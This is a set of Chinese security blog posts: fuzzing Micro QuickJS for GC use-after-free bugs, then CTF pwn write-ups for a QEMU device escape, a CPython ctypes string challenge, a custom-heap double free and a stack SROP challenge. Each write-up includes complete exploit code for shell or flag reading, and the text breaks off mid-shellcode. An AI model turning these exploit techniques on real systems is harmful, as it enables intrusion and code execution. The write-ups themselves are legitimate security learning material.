0. 起因2025.12.23 传奇程序员 Bellard（Qemu、ffmpeg、QuickJS、TCC... 原作者）发布了他的新作品 Micro QuickJS（mqjs），这是一个用于嵌入式系统上的 JS 引擎。既然是用纯 C 语言实现的，应该会有一些内存损坏漏洞吧。1. 准备 fuzzer组件我决定用 AFL++ 来运行模糊测试。AFL++ 直接使用的话，构造的是逐字节的随机输入，其中大多数都是无意义的乱码（即使配合 cmplog 等）。对于特定语言解释器来说，我们希望构造的输入能够真正被执行。编译原理告诉我们，从人类可读字符串到机器可执行的字节码或机器码需要经历至少三个阶段：词法分析、语法分析、语义分析。完全随机的输入无疑连词法分析都很难通过，更别说语法分析语义分析了。如果构造的输入根本没法运行，那我们就无法触及有关 VM 和 GC（垃圾回收释放内存）相关的更有价值的漏洞。西电网信院在大二有一门选修课就是编译原理，最后的大作业是 C 语言标准库手搓自定义绘图语言编译器，十分带劲。不过据说从 24 级开始这门课🈚️了。我感觉从 LLVM pass 上手会更有实用价值一些。而如果配合 Grammar-Mutator，我们就可以实现语法级的 fuzzing。我们只需要提供这个语言的语法的生成式，自动编译成自定义 mutator。AFL 运行时就会调用它来将先前的 seed 转变为 AST，再随机选择 AST 中的节点，根据生成式变异为另一个节点或子树，最后再根据 AST 生成代码作为新的 seed。（具体可以看这篇文章）当然，编译时 Address Sanitizer 也必不可少（-fsanitize=address）。我试过再加上 UB Sanitizer，但是随便一运行就爆了，难道到处都是 UB？问题修复一开始运行 Grammar-Mutator 有时会报错 _pick_non_term_node returns NULL 然后直接退出。不知道为什么它在极罕见情况下会找不到某个非终结符能够用来变异的生成式。遇到这种情况就不变异吧，直接把整个 AFL 停了真的好吗，，修改代码如下即可：diff --git a/src/tree_mutation.c b/src/tree_mutation.c index 68e91f9..62da2ed 100644 --- a/src/tree_mutation.c +++ b/src/tree_mutation.c @@ -39,8 +39,10 @@ tree_t *random_mutation(tree_t *tree) { if (unlikely(node == NULL)) { // By design, _pick_non_term_node should not return NULL - perror("_pick_non_term_node returns NULL"); - exit(EXIT_FAILURE); + // perror("_pick_non_term_node returns NULL"); + // exit(EXIT_FAILURE); + + return mutated_tree; } @@ -203,9 +205,10 @@ tree_t *splicing_mutation(tree_t *tree) { if (unlikely(node == NULL)) { // By design, _pick_non_term_node should not return NULL - perror("_pick_non_term_node returns NULL"); - exit(EXIT_FAILURE); + // perror("_pick_non_term_node returns NULL"); + // exit(EXIT_FAILURE); + return mutated_tree; } node_t *parent = node->parent;执行编写 fuzzing harness（参考）用于 persistent mode，同时按照 Grammar-Mutator 的官方文档编译好 mutator library，自动生成初始种子。我们在 aflplusplus/aflplusplus docker container 里用以下参数运行 AFL：while true; do AFL_DISABLE_TRIM=1 AFL_CUSTOM_MUTATOR_LIBRARY=./libgrammarmutator-javascript.so AFL_USE_ASAN=1 afl-fuzz -i seeds/ -o out/ -b 2 -a text -G 1024 -t 200 -S asan -- ./mjs_harness_asan; sleep 1; done运行过程中我总结了一些经验：我选择关闭 ptrim，因为对于语法级 fuzzing，trim 反而会丢失复杂的结构，使之后的变异难以发现新的分支。加上超时是对的，但是不能太低，跑得慢的 seed 反而更有价值（复杂的 GC 行为）。Grammar-Mutator 根据 AST 进行变异像是一个无限深度递归，所以 cycles 几乎不会增长，这是正常的。2. Fuzzing 结果大约 11 小时后，第一批 crashes 出现了：id 000000 内容大概是：var a = []; var b = []; var c = []; var d = []; (Infinity**((((a+(((((((((((((((((((((new Float64Array(0,0/0,0,{g: false})))))))))))))))))))))==(~0))))))); function Float64Array(console, EvalError,Int16Array,Reflect,NaN){ new Float64Array(false,TypeError[[[((((((((((((((((((((((((((((((((((((((((((((((((((((d.concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat([b],{f: []}).concat((((--b) >>> -0)),(((--b) >>> -0)),(((--b) >>> // 暂不完整公开 ...可以看到其中有明显的无限递归，另外还有大量的 concat，这无疑同时给堆和栈带来了巨大的内存分配压力，也就很可能出现 GC 相关的漏洞。对此，Address Sanitizer 的评价是：================================================================= ==1599335==ERROR: AddressSanitizer: negative-size-param: (size=-2112) #0 0x55f81ffe8449 in __asan_memmove (/home/rik/Desktop/crashes/mjs_harness_asan+0x17e449) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) #1 0x55f8200c1be2 in JS_MakeUniqueString /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:2032:5 #2 0x55f8200aab94 in JS_ToPropertyKey /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:4193:16 #3 0x55f8200aab94 in JS_Call /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:6009:28 #4 0x55f82011a802 in JS_Run /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/mquickjs.c:11799:11 #5 0x55f82003e19b in LLVMFuzzerTestOneInput /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/fuzz_harness.c:140:15 #6 0x55f820038c59 in ExecuteFilesOnyByOne (/home/rik/Desktop/crashes/mjs_harness_asan+0x1cec59) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) #7 0x55f820038a38 in LLVMFuzzerRunDriver (/home/rik/Desktop/crashes/mjs_harness_asan+0x1cea38) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) #8 0x55f8200385c6 in main (/home/rik/Desktop/crashes/mjs_harness_asan+0x1ce5c6) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) #9 0x7f24f4027634 in __libc_start_call_main /usr/src/debug/glibc/glibc/csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #10 0x7f24f40276e8 in __libc_start_main /usr/src/debug/glibc/glibc/csu/../csu/libc-start.c:360:3 #11 0x55f81feef3e4 in _start (/home/rik/Desktop/crashes/mjs_harness_asan+0x853e4) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) 0x7f24f0c4f8b8 is located 327864 bytes inside of 4194304-byte region [0x7f24f0bff800,0x7f24f0fff800) allocated by thread T0 here: #0 0x55f81ffeb905 in malloc (/home/rik/Desktop/crashes/mjs_harness_asan+0x181905) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) #1 0x55f82003cee9 in LLVMFuzzerTestOneInput /home/rik/Desktop/fuzzing/mjs-fuzzing/mquickjs/fuzz_harness.c:112:21 #2 0x55f820038c59 in ExecuteFilesOnyByOne (/home/rik/Desktop/crashes/mjs_harness_asan+0x1cec59) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) SUMMARY: AddressSanitizer: negative-size-param (/home/rik/Desktop/crashes/mjs_harness_asan+0x17e449) (BuildId: 44bae498641fcf1516b886c154ce5bcf4f3fdee4) in __asan_memmove ==1599335==负数 size？过了一会，又出现了七百多个崩溃，我想是时候开始分析了。3. 分析 crashesMicro QuickJS 的 GC 过程如下：先将整个堆扫描一遍来标记需要释放的对象（JS_MTAG_FREE），/* 'size' is in bytes and must be multiple of JSW and > 0 */ static void set_free_block(void *ptr, uint32_t size) { JSFreeBlock *p; p = (JSFreeBlock *)ptr; p->mtag = JS_MTAG_FREE; p->gc_mark = 0; p->size = (size - sizeof(JSFreeBlock)) / sizeof(JSWord); }然后在 JS_GC2 中使用 Jonkers 算法来释放内存（gc_compact_heap）。具体来说，就是把所有不是 JS_MTAG_FREE 标记的对象都向低地址移，填补所有 JS_MTAG_FREE 对象带来的空洞。 /* pass 2: update the threaded pointers and move the block to its final position */ new_ptr = ctx->heap_base; ptr = ctx->heap_base; while (ptr < ctx->heap_free) { gc_update_threaded_pointers(ctx, ptr, new_ptr); size = get_mblock_size(ptr); if (js_get_mtag(ptr) != JS_MTAG_FREE) { if (new_ptr != ptr) { memmove(new_ptr, ptr, size); } new_ptr += size; } ptr += size; } ctx->heap_free = new_ptr;一个很关键的问题是，这样的 GC 有可能会移动对象的位置，所以 GC 的下一步是修改引用方的指针到移动后的位置。不在 JS VM 栈中的对象指针（例如在裸 C 数组里的 JS 对象指针）就无法被追踪到，它们就会立刻沦为垂悬指针。所以在编写 mqjs 期间需要时刻注意哪些函数可能触发 GC，并将临时变量推入 JS VM 栈中。这几百个崩溃几乎都是因为没有注意到可能 GC 的函数导致的。例如 2 中提到的崩溃，static JSValue JS_MakeUniqueString(JSContext *ctx, JSValue val) { // ... arr = JS_VALUE_TO_PTR( ctx->unique_strings); val1 = find_atom(ctx, &a, arr, ctx->unique_strings_len, val); if (!JS_IsNull(val1)) return val1; JS_PUSH_VALUE(ctx, val); is_numeric = js_is_numeric_string(ctx, val); JS_POP_VALUE(ctx, val); if (is_numeric < 0) return JS_EXCEPTION; /* not found: add it in the table */ JS_PUSH_VALUE(ctx, val); new_tab = js_resize_value_array(ctx, ctx->unique_strings, ctx->unique_strings_len + 1); JS_POP_VALUE(ctx, val); if (JS_IsException(new_tab)) return JS_EXCEPTION; ctx->unique_strings = new_tab; arr = JS_VALUE_TO_PTR( ctx->unique_strings); memmove(&arr->arr[a + 1], &arr->arr[a], sizeof(arr->arr[0]) * (ctx->unique_strings_len - a)); // ... }可以看到 JS_MakeUniqueString 首先从 ctx->unique_strings 中搜索（find_atom）相同字符串的索引（a）。这是一种常见的优化，在创建任何字符串前都在一个字符串表里检查有没有重复字符串，如果有就直接使用它如果没有再分配新空间并插入表中，避免重复浪费内存。但是由于 ctx->unique_strings_len 在 find_atom 和 memmove 之间减小了（被 GC 清理了一部分），所以 ctx->unique_strings_len - a 变成了负数！（a 应该永远小于 ctx->unique_strings_len。）其中 js_is_numeric_string 和 js_resize_value_array 都有可能触发 GC（主要是 js_is_numeric_string）。按照以上思路，我们还能找到其他 GC UAF 漏洞，甚至可利用的漏洞。事实上，我们可以修改 mqjs 源码，使其在每次申请内存前都执行一次 GC，这样能更高效地挖掘出类似的漏洞，无需等待 AFL 随机出有 GC 压力的 seed。（这应该是一个通用的技巧）4. 利用...5. 修复对于 2 中提到的崩溃，比较简单的修复方案就是在 memmove 前再执行一次 find_atom 定位插入位置。另外 js_is_numeric_string 也不应该需要 O(n) 空间复杂度。...在 QuickJS-NG 也可以通过相同方案找到有意义的漏洞。
RCTF 2025 pwn，继 mstr 之后再复现一个相对简单的 qemu escape bbox，如果有空的话再看看那个 v8pwn。（画饼ingChallenge附件 docker archive 中 qemu-system-x86_64 实现了一个自定义 PCI 设备 virtsec-device。借助 AI 可以很快还原两个关键的结构体：00000000 struct block // sizeof=0x18 00000000 { 00000000 unsigned int id; 00000004 unsigned int size; 00000008 unsigned int _pad1; 0000000C unsigned int offset; 00000010 unsigned int _pad2; 00000014 unsigned __int8 encrypted; 00000015 unsigned __int8 valid; 00000016 unsigned __int8 _pad3[2]; 00000018 }; 00000000 struct virtsec_device // sizeof=0x10E8 00000000 { 00000000 unsigned __int8 _pad0[3024]; 00000BD0 unsigned int status; 00000BD4 unsigned int session_id; 00000BD8 unsigned int error_code; 00000BDC unsigned __int8 _pad1[32]; 00000BFC unsigned int alloc_size; 00000C00 unsigned int _pad2[2]; 00000C08 struct block blocks[16]; 00000D88 unsigned int _pad3; 00000D8C unsigned int current_id; 00000D90 unsigned int merge_id1; 00000D94 unsigned int merge_id2; 00000D98 unsigned __int8 data[256]; 00000E98 void (*func_ptr)(void *); 00000EA0 void *func_arg; 00000EA8 unsigned __int8 _pad4[256]; 00000FA8 unsigned __int8 key_buffer[256]; 000010A8 unsigned int reg_10A8; 000010AC unsigned __int8 _pad6[36]; 000010D0 unsigned __int64 reg_10D0; 000010D8 unsigned __int64 reg_10D8; 000010E0 unsigned __int64 reg_10E0; 000010E8 };之后的逆向就比较轻松了。可以看到这个设备在 256 字节的空间里管理 16 个 blocks，每个块初始大小最高 0x10，但可以通过 merge 命令合并两个及多个块，直至 256 字节。设备还有 gift 寄存器，向其中写入任意内容后，设备将在设备结构体中紧随 data 之后分别写入 printf 函数指针和一个字符串指针，再次触发 gift 就会将后者作为首个参数执行前者。（另外还有 session、神秘 command 3 和 xor 加解密，不知道能干啥。）这个 PCI 设备通过 MMIO 交互，我们可以在 virtsec_class_init 找到 Vendor ID 0x1234和 Device ID 0x5678。在 qemu 虚拟机内执行 lspci 查询 PCI resource 路径（00:04.0 Class 0580: 1234:5678）。出题人非常贴心的在每个操作都输出了 log，要想看到 qemu_log 输出便于调试，可以添加 qemu 命令行参数 -d guest_errors -D qemu.log（qemu_loglevel_mask_64(2048) 是 LOG_GUEST_ERROR）。Bug问题出在块合并，merge 似乎没有任何长度检查，只要分配大于 16 个块合并在一起就能轻松拿到大于 256 字节的块，从而越界读写 gift。virtsec_free_block 提示 UAF 但其实应该没有。Exploit只需要将函数指针改成 system，参数改成 sh 就好了。然而由于某些神秘原因，直接向 offset 256 写入的话 qemu 就直接爆了（？不过块合并时自然也会复制数据的，所以就改成先在小块里写好这两个数据然后越界合并覆盖就好。free block 竟然只能全部 reset，那只好重新 merge 一遍了。有点不懂为什么 escape 之后又打印出 welcome to RCTF2025!This is my gift!hello，可能是 pwntools 的问题吧（Exp:#include <fcntl.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> #define REG_CMD 0x0C #define REG_ID 0x14 #define REG_SIZE 0x18 #define REG_MERGE1 0x30 #define REG_MERGE2 0x34 #define REG_GIFT 0x38 #define CMD_SESSION 1 #define CMD_ALLOC 2 #define CMD_SELECT 3 #define CMD_MERGE 4 #define CMD_RESET 6 int fd; volatile void *mmio_ptr; static void write_reg32(int offset, uint32_t value) { *(volatile uint32_t *)(mmio_ptr + offset) = value; } static void trig_gift() { write_reg32(REG_GIFT, 0xcafebabe); } // static void new_session() { write_reg32(REG_CMD, CMD_SESSION); } static void alloc_blk(uint32_t id, uint32_t size) { write_reg32(REG_ID, id); write_reg32(REG_SIZE, size); write_reg32(REG_CMD, CMD_ALLOC); } static void select_blk(uint32_t id) { write_reg32(REG_ID, id); // write_reg(REG_CMD, CMD_SELECT); } static void merge_blk(uint32_t id1, uint32_t id2) { write_reg32(REG_MERGE1, id1); write_reg32(REG_MERGE2, id2); write_reg32(REG_CMD, CMD_MERGE); } static void dev_res() { write_reg32(REG_CMD, CMD_RESET); } static uint32_t read_data32(size_t offset) { return *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset); } static uint64_t read_data64(size_t offset) { uint32_t low32 = read_data32(offset); uint32_t high32 = read_data32(offset + 4); return ((uint64_t)high32 << 32) | low32; } static void write_data32(size_t offset, uint32_t data) { *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset) = data; } static void write_data64(size_t offset, uint64_t data) { write_data32(offset, (uint32_t)data); write_data32(offset + 4, (uint32_t)(data >> 32)); } int main(void) { fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR); if (fd < 0) { perror("open"); exit(EXIT_FAILURE); } puts("[*] Device opened."); mmio_ptr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (mmio_ptr == MAP_FAILED) { perror("mmap"); exit(EXIT_FAILURE); } puts("[*] MMIO mmaped."); // new_session(); for (size_t i = 0; i < 16; ++i) { alloc_blk(i, 0x10); } puts("[*] Blocks allocated."); for (size_t i = 1; i < 16; ++i) { merge_blk(0, i); } puts("[*] Blocks merged."); alloc_blk(1, 0x10); merge_blk(0, 1); puts("[+] Block merged overflow."); trig_gift(); select_blk(0); size_t host_system_addr = read_data64(256) - 0xf980; // glibc system - printf size_t host_sh_addr = host_system_addr - 0x38761; // glibc "sh" - system printf("[+] Host `system` address: 0x%lx\n", host_system_addr); printf("[+] Host `\"sh\"` address: 0x%lx\n", host_sh_addr); dev_res(); puts("[*] Reset."); for (size_t i = 0; i < 16; ++i) { alloc_blk(i, 0x10); } puts("[*] Blocks allocated."); for (size_t i = 1; i < 16; ++i) { merge_blk(0, i); } puts("[*] Blocks merged."); alloc_blk(1, 0x10); select_blk(1); write_data64(0, host_system_addr); write_data64(8, host_sh_addr); merge_blk(0, 1); puts("[+] Gift rewritten."); trig_gift(); munmap((void *)mmio_ptr, 0x2000); close(fd); return 0; }直接读写 MMIO 的指针一定要 ➕ volatile，否则可能被编译器优化掉。
少见的 Python interpreter pwn，漏洞点也很有意思。ChallengePython 3.12.4import ctypes from typing import Union, List, Dict STRPTR_OFFSET = 0x28 LENPTR_OFFSET = 0x10 class MutableStr: pass class MutableStr: def __init__(self, data:str): self.data = data self.base_ptr = id(self.data) self.max_size_str = "" def set_max_size(self, max_size_str): if int(max_size_str) < ((len(self)+7) & ~7): self.max_size_str = max_size_str else: print("can't set max_size: too big") def __repr__(self): return self.data def __str__(self): return self.__repr__() def __len__(self): if self.base_ptr is None: return 0 ptr = ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64)) return ptr[0] def __getitem__(self, key:int): if not isinstance(key, int): raise NotImplementedError if key >= len(self) or key < 0: raise RuntimeError("get overflow") return self.data[key] def __setitem__(self, key:int, value:int): if not isinstance(value, int): raise NotImplementedError("only support integer value") if not isinstance(key, int): raise NotImplementedError("only support integer key") if key >= len(self) or key < 0: raise RuntimeError(f"set overflow: length:{len(self)}, key:{key}") strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) strptr[key] = value def __add__(self, other:Union[str,MutableStr]): if isinstance(other, str): return MutableStr(self.data + other) if isinstance(other, MutableStr): return MutableStr(self.data + other.data) raise NotImplementedError() def _add_str(self, other): if self.max_size_str == "": max_size = (len(self)+7) & ~7 else: max_size = int(self.max_size_str) if len(self)+len(other) <= max_size: other_len = len(other) strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) otherstrptr = ctypes.cast(id(other) + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) for i in range(other_len): strptr[i+len(self)] = otherstrptr[i] if len(self)+other_len < max_size: # strptr[len(self)+other_len] = 0 pass ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64))[0] += other_len else: print("Full!") return self def __iadd__(self, other): if isinstance(other, str): return self._add_str(other) if isinstance(other, MutableStr): return self._add_str(other.data) return self def new_mstring(data:str) -> MutableStr: return MutableStr(data) mstrings:List[MutableStr] = [] def main(): while True: try: cmd, data, *values = input("> ").split() if cmd == "new": mstrings.append(new_mstring(data)) if cmd == "set_max": idx = int(values[0]) if idx >= len(mstrings) or idx < 0: print("invalid index") continue mstrings[idx].set_max_size(data) if cmd == "+": idx1 = int(data) idx2 = int(values[0]) if idx1 < 0 or idx1 >= len(mstrings) or idx2 < 0 or idx2 >= len(mstrings): print("invalid index") continue mstrings.append(mstrings[idx1]+mstrings[idx2]) if cmd == "+=": idx1 = int(data) idx2 = int(values[0]) if idx1 < 0 or idx1 >= len(mstrings) or idx2 < 0 or idx2 >= len(mstrings): print("invalid index") continue mstrings[idx1] += mstrings[idx2] if cmd == "print_max": idx = int(data) if idx >= len(mstrings) or idx < 0: print("invalid index") continue print(mstrings[idx].max_size_str) if cmd == "print": idx = int(data) if idx >= len(mstrings) or idx < 0: print("invalid index") continue print(mstrings[idx].data) if cmd == "modify": idx = int(data) offset = int(values[0]) val = values[1] if idx >= len(mstrings) or idx < 0: print("invalid index") continue mstrings[idx][offset] = int(val) except EOFError: break except Exception as e: print(f"error: {e}") print("hello!", flush=True) main()省流：Python 的 str 不可变，题目用 ctypes 强行实现了一个可变字符串 MutableStr。赛中手写了个 fuzzer，发现了一个很有意思的崩溃，但一直没看懂。（好在让我意识到 CPython 对单字节字符串有特别的优化，见下文。）Hello! > new O > modify 0 0 0 这样就有可能 SIGSEGV，原因是空指针解引用。BugCPython 给每个单字节字符串预先分配了一个对象，位于 python 本身的数据段，所有相同的单字节字符串都指向同一个地方。如果我们先 new 一个 MutableStr '6'，将另一个 MutableStr 的 max_size_str 设置成 '6'，那么接下来改 '6' 就是改另一个 MutableStr 的 max_size_str。（考虑到最终 getshell 时的一些细节，需要用 6 而不是 7。）Hello! > new 6 > new 0 > set_max 6 1 > print_max 1 6 > += 0 0 > print_max 1 66我们由此可以获得任意长溢出写。CPython 用 PyASCIIObject 存储纯单字节字符串，记录长度，不依赖尾空字节。如果字符串里有非 ASCII 字符，就会改用 PyCompactUnicodeObject，此时 0x28（STRPTR_OFFSET）偏移处新增两个 8 字节字段 utf8_length 和 utf8。（见源码 Python-3.12.4/Include/cpython/unicodeobject.h）typedef struct { PyObject_HEAD Py_ssize_t length; Py_hash_t hash; struct { unsigned int interned:2; unsigned int kind:3; unsigned int compact:1; unsigned int ascii:1; unsigned int statically_allocated:1; unsigned int :24; } state; } PyASCIIObject; typedef struct { PyASCIIObject _base; Py_ssize_t utf8_length; char *utf8; } PyCompactUnicodeObject;数据紧随这两个结构体之后（8 字节对齐）。CPython 存储 Unicode 字符采用定长编码，通常 UCS2（类似 UTF16），遇到大于两字节的字符则 UCS4。当 utf8 不为 NULL 时，print 就不再重新 UCS2 转 UTF8，而是直接根据这两个字段打印字符串。但是 MutableStr 没有正确处理非 ASCII 情况，当拼接字符串时仍然向原偏移处即字符串末尾前 16 字节处写入字符串并且增加长度（注意 Python 的字符串长度是指 Unicode 码点数），我们可以结合篡改 max_size_str 从而泄露 Unicode 字符串 data 后任意偏移大约 16 字节的信息。Exploit笔者十分不喜欢 glibc heap pwn。以下解法不依赖特定 libc 版本，也没有 🏠。每个 PyObject 都有一个 PyTypeObject 指针，表示对象的类型，其中有类型信息和各种操作的虚函数指针等。由于动态分配的对象在 pymalloc（不大于 512 字节）或 libc 堆上，所以理所应当可能有相邻对象的 PyTypeObject 指针，从而泄露 PIE 基址。这里有个细节，当实际使用 print 命令打印这个字符串时，泄露出来的信息会变成其他字符。这是 builtin_print 时编码转换导致的，我们的脚本需要将实际输出的内容看做 UTF8 字节流再转为 UCS2 字节流以获取原始泄露信息。得到基址后，我们再越界写篡改刚才提到的预先分配好的单字节字符串对象的 PyTypeObject 指针，提前伪造虚函数表，print 伪造了虚函数表的 data 从而劫持控制流。Exp:from pwn import * context(arch='amd64', os='linux', log_level='debug', terminal = ['konsole', '-e']) binary = './python' io = process([binary, 'mstr.py']) e = ELF(binary) itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') def new_bytes(content: bytes, index: int) -> None: io.sendlineafter(b'> ', b'new ' + b'\x00' * len(content)) context.log_level='info' for i, c in enumerate(content): io.sendlineafter(b'> ', f'modify {index} {i} {c}'.encode()) context.log_level='debug' io.sendlineafter(b'> ', 'new 瑞克'.encode()) io.sendlineafter(b'> ', 'new \x00'.encode()) # for fake type io.sendlineafter(b'> ', 'new 6'.encode()) io.sendlineafter(b'> ', b'set_max 6 0') io.sendlineafter(b'> ', b'set_max 6 1') io.sendlineafter(b'> ', b'+= 2 2') io.sendlineafter(b'> ', b'+= 2 2') # max size 6666 io.sendlineafter(b'> ', b'new ' + b'\x00' * 20) io.sendlineafter(b'> ', '+= 0 3'.encode()) io.sendlineafter(b'> ', 'print 0'.encode()) data_leaked = io.recvline(drop=True).decode('utf-8').encode('utf-16-le') # for i in range(0, len(data_leaked) - 8, 8): # print(f'{u64(data_leaked[i: i + 8]):#x}') e.address = u64(data_leaked[16:24]) - e.sym['PyBytes_Type'] if e.address % 0x1000 != 0: exit(1) print_leaked('elf_base', e.address) gdb.attach(io, f'awa *{e.sym['_PyRuntime'] + 62000}') # modify PyTypeObject ptr & construct fake PyTypeObject new_bytes(b'cafebab' + cyclic(40).replace(b'caaadaaa', p64(e.sym['_PyRuntime'] + 62000)).replace( # For some reasons, `ph\x00` will become `sh\x00` (+= 3) b'aaaa', b'ph\x00\x00') + b'\x00' * 88 + p64(e.plt['system']), 4) io.sendlineafter(b'> ', b'+= 1 4') io.sendlineafter(b'> ', 'new \x01'.encode()) # fake type victim io.sendlineafter(b'> ', 'print 5'.encode()) # invoke virtual function io.interactive()🐍🔥🐍🔥🐍🔥🐍🔥由于堆布局每次运行时不同，只是有概率成功（如果加上堆喷可以做到每次成功）。以上 exploit 不破坏控制流完整性，即使开启 SHSTK 和 IBT 保护也可以绕过。
malloc自定义堆内存管理器。堆块结构：| Offset | Field | Description | |---------|----------------|------------------------------------| | +0 | in_use (1B) | 1 = allocated, 0 = free | | +1..7 | padding | for 8-byte alignment | | +8 | size (4B) | total size of the chunk | | +12..15 | padding | (align next pointer) | | +16 | next (8B) | pointer to next free chunk | | +16 | user data start| returned to caller (malloc result) |delete 时存在 UAF，且 double free 检测深度只有 13，而我们最多可以申请 16 个堆块。double free 后再多次 create 得到重叠堆块，修改 next 指针得到任意地址（目标地址 - 16）分配，从而任意地址读写。泄露 libc、stack 基地址后任意分配到栈上写 ROP，返回至提前布置好的 shellcode。程序沙箱禁用 execve 等系统调用，考虑 orw。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='info') binary = './pwn' # io = process(binary) io = connect('45.40.247.139', 18565) e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) # 0x0f < size <= 0x70 def create(index: int, size: int): io.sendlineafter(b'=======================\n', b'1') io.sendlineafter(b'Index\n', itob(index)) io.sendlineafter(b'size\n', itob(size)) def delete(index: int): io.sendlineafter(b'=======================\n', b'2') io.sendlineafter(b'Index\n', itob(index)) def edit(index: int, size: int, content: bytes): io.sendlineafter(b'=======================\n', b'3') io.sendlineafter(b'Index\n', itob(index)) io.sendlineafter(b'size\n', itob(size)) io.send(content) def show(index: int): io.sendlineafter(b'=======================\n', b'4') io.sendlineafter(b'Index\n', itob(index)) def exitit(): io.sendlineafter(b'=======================\n', b'5') for i in range(15): create(i, 0x10) for i in range(15): delete(i) delete(0) # double free show(14) # leak heap (elf) e.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x53a0 print_leaked('elf_base', e.address) create(0, 0x10) edit(0, 8, p64(e.sym['stdout'] - 16)) # `next` -> stdout for _ in range(16): create(1, 0x10) show(1) libc.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x21b780 print_leaked('libc_base', libc.address) for i in range(15): create(i, 0x20) for i in range(15): delete(i) delete(0) # double free create(0, 0x20) edit(0, 8, p64(libc.sym['environ'] - 16)) # `next` -> environ for _ in range(16): create(1, 0x20) show(1) stack_addr = u64(io.recvline(False).ljust(8, b'\x00')) print_leaked('stack_addr', stack_addr) for i in range(15): create(i, 0x70) for i in range(15): delete(i) delete(0) # double free create(0, 0x70) edit(0, 8, p64(stack_addr - 0x140 - 16)) # `next` -> stack retaddr for _ in range(16): create(1, 0x70) # gdb.attach(io, 'b *$rebase(0x18F2)') edit(0, 0x70, asm(f""" mov rax, 0x67616c662f push rax mov rax, __NR_open mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall mov rax, __NR_read mov rdi, 3 mov rsi, rsp mov rdx, 0x50 syscall mov rax, __NR_write mov rdi, 1 mov rsi, rsp mov rdx, 0x50 syscall """)) edit(1, 0x70, flat([ libc.search(asm('pop rdi;ret')).__next__(), e.address + 0x5000, libc.search(asm('pop rsi;ret')).__next__(), 0x1000, libc.search(asm('pop rdx;pop r12;ret')).__next__(), 7, 0, libc.sym['mprotect'], e.address + 0x56c0 ])) io.interactive()stack看起来是堆溢出但其实会栈迁移到堆上，溢出改返回地址爆破 PIE 到 magic。由于随机数种子来自已知时间，所以可以预测随机数，逆运算得到 PIE 基地址。最后栈迁移到 bss 段，利用 SROP 和 syscall gadget 实现任意系统调用。程序 seccomp 沙箱禁用了 open、execve 等系统调用，考虑 openat 替代。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e']) binary = './Stack_Over_Flow' e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) while True: global io, elf_base io = connect('45.40.247.139', 30871) libc_lib = CDLL('/usr/lib/libc.so.6') libc_lib.srand(libc_lib.time(0)) libc_lib.rand() % 5 libc_lib.rand() % 5 key = libc_lib.rand() % 5 try: io.sendafter(b'luck!\n', cyclic(0x2000)[:cyclic(0x2000).index(b'qaacraac')] + b'\x5F\x13') if b'magic' not in io.recvuntil(b':'): io.close() continue e.address = (int(io.recvline(False)) // key) - 0x16b0 break except Exception: io.close() continue context.log_level = 'debug' print_leaked('elf_base', e.address) syscall = e.address + 0x000000000000134f fake_stack = e.bss(0x800) # stack mig frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = fake_stack frame.rdx = 0x800 frame.rip = syscall frame.rsp = fake_stack # gdb.attach(io, 'b *$rebase(0x16A4)') io.sendafter(b'luck!\n', flat([ cyclic(0x100), 0, syscall, 0, syscall, bytes(frame) ])) pause() io.send(cyclic(0xf)) # mprotect frame = SigreturnFrame() frame.rax = 10 frame.rdi = fake_stack & ~0xfff frame.rsi = 0x1000 frame.rdx = 7 frame.rip = syscall frame.rsp = fake_stack + 0x200 xor_rax_pop_rbp = e.address + 0x00000000000016a0 payload = flat([ 0, xor_rax_pop_rbp, 0, syscall, 0, syscall, bytes(frame) ]) payload = payload.ljust(0x200, b'\x00') payload += flat([ 0, fake_stack + 0x300 ]) payload = payload.ljust(0x300, b'\x00') payload += asm(""" push 0x50 lea rax, [rsp - 0x60] push rax mov rax, 0x67616c662f push rax push __NR_openat ; pop rax xor rdi, rdi push rsp ; pop rsi xor rdx, rdx xor r10, r10 syscall push rax push 